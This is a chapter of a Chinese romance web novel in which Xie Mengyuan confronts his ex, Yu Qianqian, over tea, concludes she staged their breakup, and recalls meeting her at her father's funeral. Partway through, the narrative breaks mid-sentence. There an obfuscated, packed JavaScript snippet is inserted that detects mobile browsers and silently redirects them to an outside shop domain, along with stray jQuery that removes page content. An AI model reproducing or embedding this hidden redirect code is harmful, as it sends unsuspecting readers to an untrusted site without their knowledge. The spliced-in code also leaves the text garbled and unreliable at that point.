谢孟渊开车带庾倩倩去了一家中式古典餐厅。
位置在一处偏僻的小巷深处，车子拐了几个弯才找到入口。
门口没有显眼的招牌，只有一盏旧式宫灯悬在门楣下，木门半掩着，像是一户人家的侧门。
推门进去，里面是另一种天地。
装修仿苏州园林的风格，白墙黛瓦，石阶青苔，角落里摆着几盆修剪得当的松柏和文竹。
绕过一面雕花屏风，堂内摆着檀木桌和藤编椅子，桌上放着干花、干草和玉器吊坠，简约而克制。
说话声像被那些软帘和木质格栅吸走了，只留下茶水在壶里轻轻翻滚的声响，空气中飘着浅淡的檀香。
谢孟渊挑了靠窗的位置，一侧是街景，另一侧则是一片小小的庭院，几竿瘦竹被风吹得微微晃动。
服务员先上了一壶茶，茶具是青白色的瓷，壶身温润。
谢孟渊说：“尝尝，这里的龙泉雨景很出名。”他拿起茶壶，先给庾倩倩倒了一杯，再给自己倒了一杯。
庾倩倩瞥了一眼青白色的杯壁，茶汤淡绿，浅浅荡漾。
她问：“你究竟有什么事来找我？”
谢孟渊看了她一眼，放下茶壶：“前几天，我朋友跟我说，有人在给他的公司发邮件，拉AI项目的投资。他转发给我看，落款是你。”他顿了顿，“所以，你现在是用我的资源给程嘉良拉投资吗？”
庾倩倩愣了一下，没想到谢孟渊找她是为了这件事。
她在给那些联系人发邮件的时候想过可能会被谢孟渊知道，但认为他对AI项目不感兴趣，也就大胆发了。
庾倩倩垂睫，轻声：“抱歉。”
“你事前不应该没想过，明知抱歉还要做，”谢孟渊挑眉，“这么想帮他？”
庾倩倩抬起眼：“他现在是我公司的老板。我应该帮他。”
谢孟渊听到这句话，似乎微微动了一下。
他稍微坐直身体，双手交叉放在腿上，就那样安静地看着她。
“我们几个月没见了。三个月？四个月？”谢孟渊问，他有点记不清了。
自从庾倩倩离职后，他埋头工作，时间的流速变得模糊不清。
他以为过去的时间不算长，可此刻她坐在对面，头发比记忆里长了一些，高马尾扎得利落，几缕碎发落在耳侧，他才意识到，时间的河确实走得比他以为的远得多。
庾倩倩穿了件高领的白毛衣，店内垂落的藤织吊灯把淡黄色的光线笼在她身上，在她脸侧投下一层柔和的影。
她的手指轻轻贴在青白色的茶杯壁上，指尖微微蜷着。
“你没有想我吗？”谢孟渊问。
安静的空气里，他说完，自己也停了一下。
庾倩倩连头都没有抬起来，盯着杯里微凉的茶水，水映在杯底，透出杯底如玉的深绿。
“我之前没有找你，”谢孟渊端起茶杯抿了口，“是因为我习惯把自己想清楚再去找别人。但有一件事，我想了很久，没有想通。”
庾倩倩这才抬眸：“什么事？”
谢孟渊看着她的眼睛：“你是不是故意找机会跟我分手的？”他说完，没有移开目光，一点点打量她的神情和反应，“我提出让你在我婚后继续跟我在一起，确实是我的错误。可你的反应，也比我想象中大得多。所以我在想——”他停了一下，像在等那句话在他自己心里再落一落地，“你是不是本来就想跟我分开，只是借着这件事来结束。”
他顿了顿，补充解释：“虽然结局同样是分开，你不能接受这件事，和你想借这件事主动跟我分开，是两回事。”
庾倩倩沉默了很久，手指摸上那只青白色的茶杯，指尖沿着杯沿慢慢滑了一圈。
谢孟渊已经知道答案了，心竟然奇怪地顿了一下。
茶已经温了。
服务员端着托盘走过来，把一碟清蒸鱼放在桌面正中，鱼身铺着姜丝和葱段，摆盘极简，像一幅未落款的山水。
他低声报完菜名，微微弯腰退开，风吹动了院子里瘦竹，风铃被牵动，发出极轻的声响，
谢孟渊没有催她。
过了一会儿，他换了一个问题：“程嘉良是你什么人？”
“同乡。”庾倩倩说，“现在是老板。”
“只是同乡这么简单？”谢孟渊靠回椅背，语气不重，“你对他是不是有意思？或者说，你跟我分手，是不是因为他？”
说完，他目光一动不动地盯着她。
庾倩倩说：“我是离职之后才到这家公司的。”
“是吗？”谢孟渊说，语气没有变化。
解释过了，却像是把一枚硬币翻了过来，另一面还藏在掌心里。
她什么时候到这家公司，跟他喜不喜欢程嘉良，是两件不能互相抵消的事。
过了一会儿，他移开目光，语气淡了一些，拿起筷子夹了一些鲜嫩的鱼肉到她碗里：“也得多亏了你提醒我，我最近对AI项目也开始感兴趣了。”
庾倩倩愣了一下：“你不是不想做AI吗？”
“我只是不想在公司里面大张旗鼓地推。”谢孟渊说，“现在AI这么火热，我自己也想投两个项目。很正常。我看过程嘉良那家公司的宣传，包括那支视频短片。于青青是你吧？风格很像你之前在国外的毕业作品。如果你真的想做一些东西，我可以投资你开，不需要跟别人一起弄。”
庾倩倩很分得清地说：“不用了。”
她拾起筷子，低头吃饭，下午还要工作，不能没力气。
服务员又送上来两盘菜，一碟清炒时蔬，一碗汤，在桌面上升起细白的热气。
谢孟渊却没有吃。他的筷子一直搁在碗沿上，没有动过。
他只是坐在那里，一直盯着她看，目光穿过那道浅白的热气，落在她垂下的眉眼上：“所以最开始那个问题，答案是肯定的，对不对？你早就想跟我分手。”
直到这时候，庾倩倩才抬起头看了他一眼。
她说不出更多的话，却在心里回答了谢孟渊最开始的提问：是。
是的。
她确实是主动想分手的，而且看准了他要联姻这个时机，提前就练好了反应。
庾倩倩并不贪钱，几百万已经够她活得很好了。
谢孟渊是个稳定、规律乃至不喜欢变动的人，她不知道谢孟渊什么时候会对她腻，她不想等到三十多岁才被分手，她很自私地想早点抹去这段过去，趁年轻过上普通人的生活。
回国前，听到谢孟渊这么年轻就要联姻时，她就在等这个机会了。
她确实有一部分不能接受，但也有故意反应强烈的成分。
要在他还没反应过来之前，干脆利落地搬出去，并且以“被亏欠者”的身份。
因为那时候她还没有决定离开杜尚，跟谢孟渊不撕破脸，把自己塑造成受害者，是最好的方法。
她没有想过，谢孟渊会看出来。
谢孟渊弯起唇瓣，无声地笑了笑。
他父亲说得没错——到了这个位置上，没有人会对他说真话。可他从未想过，连庾倩倩也有伪装的成分。
以至于他不得不怀疑起他们所有的过去，是否也有所掩饰。
“不管我是不是主动，我们最终都会分开，不是么？”庾倩倩说。
谢孟渊沉默，没有立刻回应这句话。然后他拾起筷子，像是要给这段对话一个暂时的落点：“我有一家已经看好了，模式跟你们差不多，所以正好会是你们的对家。更何况这是白总的项目，我也不希望白总发展起来。”
庾倩倩愣了愣。
“现在AI这么火热，真要做起来几亿都未必打得住，没有钱根本做不起来。程嘉良那个项目除非找到大投资，否则很难起来。我建议你不要在他身上浪费太多时间。”
他抬起眼，目光没有移开：“我会把他打得毫无招架之力。”
“你是想要报复我吗？”庾倩倩问。
他本来要夹那块鱼的，筷子已经伸出去，却又慢慢放了下来。他缓缓抬起头，一字一句地问：“你认为我是在报复你？”
“不然你为什么要来找我？”庾倩倩问，是她主动离开伤了谢孟渊自尊心？
谢孟渊看着她，沉默了很久。
他放下筷子，拾起桌上的餐巾，叠了一下，原本要搁在碗沿，稍顿，直接扔在了桌面上：“你慢慢用。”
他站起身，系上西装的扣子，转身穿过院子，朝门口走去。
透过落地窗，庾倩倩看见他从门口走过，走到路边，拉开驾驶座的门，弯腰坐进去。
车窗没有降下来，他冷着一张脸，车子直接驶出巷口，尾灯在灰白的冬日光线里闪了两下，便消失在街道尽头。
庾倩倩坐在窗边，看着那辆车消失的方向，没有说话。
车内，谢孟渊双手握着方向盘，手背上的青筋微微凸起。
他没有开音乐，也没有开窗。
红灯。他停下来，窗外是陌生的路口，行人匆匆走过，没有人看他。
谢孟渊靠在椅背上，目光出神地盯在那盏红灯上，像是想从那一成不变的红色里挖出什么答案。
很多年前，谢孟渊跟父亲谢守礼去参加一场葬礼。
庾倩倩的亲生父亲是他父亲谢守礼的司机。
一场车祸，庾倩倩的父亲当场去世，谢守礼被压碎了腿骨，从此落下了残疾。
车祸的原因，说是疲劳驾驶，也是当时工厂出了事，庾倩倩的父亲连续开了十几个小时的车，从江西的矿区往回赶，在高速上打了个盹。
等反应过来的时候，已经晚了。
车头撞上了护栏，副驾驶那一侧被挤压得变了形，谢守礼被卡在车里。
出于人道主义，也出于多年的情分——庾倩倩的父亲跟了他十几年，谢守礼让人妥善处理了后事，还亲自去吊唁。
那天谢孟渊正好放假在家，便跟着父亲一块儿去了。
庾倩倩父亲市区的老小区里，路很窄，两边停满了车，他们的黑色轿车好不容易才从巷口挤进去，后视镜差点刮到墙上堆的旧木板。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640536|205423||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
葬礼就办在院子门口，搭了个简易的塑料棚，棚子下面摆着棺木和供桌，唢呐吹着哀乐。
谢孟渊看了一眼，丧事和俗事混在一起，悲与喜分不清界线，生与死只隔着一层薄薄的木板。
他那天穿了身黑西装，胸口别了朵白花，跟以往去参加任何一场葬礼一样郑重。
刚进门，就听到门口有几个女人在说话。
“这老婆还是大方啊，小三跟小三的女儿都允许来这里披麻戴孝、接待客人了？”
“哎，人都死了！”
“死了也不能这样啊！你瞧瞧，老公死了才发现有小三，还有个那么大的女儿。要我说，他就是死了我都要把他从棺材里挖出来，扔厕所里去！”
谢孟渊脚步微顿。
新闻上常有这种事，多的是比这更离奇、更狗血的，隔着屏幕看，不过是一条推送。
但他还是第一次亲耳听到如此狗血的故事。
视线所及，院子里种满了绿植——不是什么名贵的花草，就是最常见的吊兰、绿萝、芦荟，种在破了边的塑料盆里，挨挨挤挤地摆了一排。
角落里摆着一口大莲花缸。
阳光从树叶的缝隙里漏下来，碎碎的，落在门口。
门口边缘跪着一个女孩，等前来吊唁的人拜祭完后磕头回礼。
那身孝衣太大了，袖口长出一截，遮住了她半只手，麻布腰带的结系在身侧，垂下来的两端被风吹得微微晃动。
她的皮肤极白，头发极黑，竟真的会令人想起《白雪公主》里那句——皮肤像雪一样白，头发像乌檀木一样黑。
不远处有人跪在火盆边哭丧烧纸，哭声震天，一边烧一边拍着大腿喊“你怎么就走了”。
身侧跪着一个男孩，年纪看起来比她大一些，大概是“同父异母”的哥哥。
两人的侧脸有几分相似，那男孩眼圈红红的，不时抬手擦一下眼泪，肩膀一抖一抖的，鼻子已经擤得泛红。
而她只是跪在那里。
目光落在棺木上，发怔一样，一动不动。
眼睛不红，也没有要哭的迹象。
她就那样望着那口漆黑的棺材，没有太大的哀切，更多的是一种冷漠的茫然。
谢孟渊站在人群里，看着她。
唢呐声、哭声、人群的窃窃私语，在这一刻都像被什么东西隔开了，变得很远很远。
也许是他的视线太重，她缓缓转过头来。
打量片刻，收回目光，转回去，继续看着那口棺材。
整个过程不到两秒。
他站在人群里，没有动。他不知道自己为什么没有移开目光。
也许是因为她跟这个院子、跟这场葬礼、跟这里的所有人都不一样。
风把她腰间的麻布带子吹得轻轻晃动了一下，他看见她的手指攥着孝衣的边角，像是正用全身的力气去忍住某种她自己也说不清的东西。
那一幕落在他心里，很多年都没有散去。
谢孟渊站在原地，微微垂眼，心中升起一股难以言喻的怜惜。
中午，宾客陆续去吃饭，棚子里的唢呐也歇了，只剩下几个亲戚在收拾桌椅。他借口找厕所，绕到了院子后面。
她果然还在那里。
他走过去，站在她面前两步远的地方：“请问，厕所在哪？”
她抬起头，看了他一眼，目光平静，像认出了他，又像没认出来，抬手指了指院子东侧：“那边。”
他转身走出几步，又回头看了一眼。
恰好庾倩倩也回头看他。
午后的阳光从树影间斜斜地切下来，落在她脸上，明暗交错。
她像是鼓足了勇气才开口，声音不大，带着一点试探的忐忑：“等一下。”
他停下脚步。
她走到他面前，微微垂下眼，像是犹豫了一下，才低声说：“我可以加一下你的微信吗？”
谢孟渊心中微微一动。
他看着她垂下的睫毛，看着她攥着手机时被压出的指腹雪白，心里像被什么东西轻轻撞了一下。
他没有犹豫，拿出手机，调出二维码，回答：“好。”
那天之后，他常常给她发消息。
起初只是问些无关紧要的事，今天吃饭了吗，家里还好吗，有没有什么需要帮忙的。
不敢太频繁，怕她觉得他烦。可每次她都回复。
后来聊得越来越多，从日常琐事到各自喜欢的书，再到她偶尔提起的童年。
她的回复慢慢变长，再到主动问他。
再后来，他们在一起，一起出国留学。
可直到现在，他坐在车里，红灯变绿，后面的车按了一声喇叭。
谢孟渊却迟迟没有开动。
手指搭在方向盘上，没有松开刹车。
后面的车又按了一下，短促而焦躁，他没有回头，也没有动。
这是他第一次真正意识到，庾倩倩有可能从未爱过他。
她看程嘉良的视线，从未出现在他身上过。